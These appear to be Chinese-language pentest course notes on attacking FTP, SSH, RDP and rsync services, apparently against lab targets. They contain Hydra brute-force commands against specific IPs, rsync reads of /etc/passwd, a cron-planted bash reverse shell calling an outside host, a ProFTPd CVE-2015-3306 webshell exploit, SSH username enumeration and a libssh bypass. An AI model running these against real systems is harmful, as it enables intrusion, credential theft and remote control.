概览

知识点:

1、服务攻防-远程控制&文件传输等
2、远程控制-RDP&RDP&弱口令&漏洞
3、文件传输-FTP&Rsync&弱口令&漏洞

前置知识:

应用服务安全测试流程:见图

1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等

实例

口令猜解-Hydra-FTP&RDP&SSH

https://github.com/vanhauser-thc/thc-hydra
hydra是一个自动化的爆破工具,暴力破解弱密码,
是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可

Hydra,简称九头蛇

-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。

server 目标ip

service 指定服务名,支持的服务和协议:
telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get}
http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3
mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs
snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak
sip vmauthd firebird ncp afp等等。

例子:
FTP:文件传输协议
RDP:Windows远程桌面协议
SSH:Linux安全外壳协议

# 爆破用的字典自己搞
# 爆破用户名,从指定密码字典10top1K.txt取出密码,爆破47.110.53.159的ftp协议,并且显示详细过程
hydra -L test -P 10top1K.txt 47.110.53.159 ftp -V
# 和上面差不多,只不过用户换成了root,协议换成了ssh
hydra -l root -P 10top1K.txt 47.110.53.159 ssh -V
# 和上面差不多,只不过用户换成了administrator,协议换成了rdp
hydra -l administrator -P 10top1K.txt 47.110.53.159 rdp -V

配置不当-未授权访问-Rsync文件备份

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置 ACL或访问密码 ,我们将可以读写目标服务器文件。

linux文本文件传输协议,以及实现数据同步。

判断:rsync rsync://123.58.236.76:45854/
利用:

端口对应的协议
rsync 973
ftp 21
rdp 3389
ssh 22

# 下面是端口映射导致的,无大碍
- 读取文件:
rsync rsync://123.58.236.76:45854/src/
- 下载文件:
rsync rsync://123.58.236.76:45854/src/etc/passwd ./
- 上传文件:
rsync -av passwd rsync://123.58.236.76:45854/src/tmp/passwd

反弹shell:

crontab,是linux计时任务执行目录,时间一到就自动执行。

1、获取信息:
rsync rsync://123.58.236.76:12177/src/etc/crontab /root/cron.txt
2.创建文件
touch shell

## !/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
chmod +x shell


3、上传文件
rsync -av shell rsync://123.58.236.76:12177/src/etc/cron.hourly
4、等待接受反弹
上传完成后等待一段时间,shell自动执行并且把端口反弹过来就行了

高端课程-直接搜哈-MSF&Fofaviewer

https://github.com/wgpsec/fofa_viewer


msfconsole =>(很难理解,暂时搁置)
use auxiliary/scanner/rsync/modules_list
set rhosts file:/root/ips.txt
set threads 10
run

协议漏洞-应用软件-FTP&Proftpd搭建

协议安全+软件安全
https://github.com/t0kx/exploit-CVE-2015-3306
被攻击服务器ip 对应21端口 需要提前知道web路径
python exploit.py --host 123.58.224.8 --port 60609 --path "/var/www/html/"
http://123.58.236.76:19758/backdoor.php?cmd=id

协议漏洞-应用软件-SSH&libssh&Openssh

- Openssh 
=> CVE-2014-0160 CVE-2018-15473 cve_2020_15778
CVE-2014-0160 版本很少
cve_2020_15778 价值不高 影响版本: <5.8 反弹sehll反弹了个普通用户,就为了解决个用户不能ssh连接(我特么???)
CVE-2018-15473-用户名枚举
https://github.com/Rhynorater/CVE-2018-15473-Exploit
pip3 install -r requirements.txt
pip3 install paramiko==2.4.1
python sshUsernameEnumExploit.py --port 32013 --userList exampleInput.txt 123.58.236.76

- libssh 身份验证绕过(CVE-2018-10933)
这是个插件
https://www.seebug.org/vuldb/ssvid-97614
python libssh.py 123.58.236.76 55190 "id"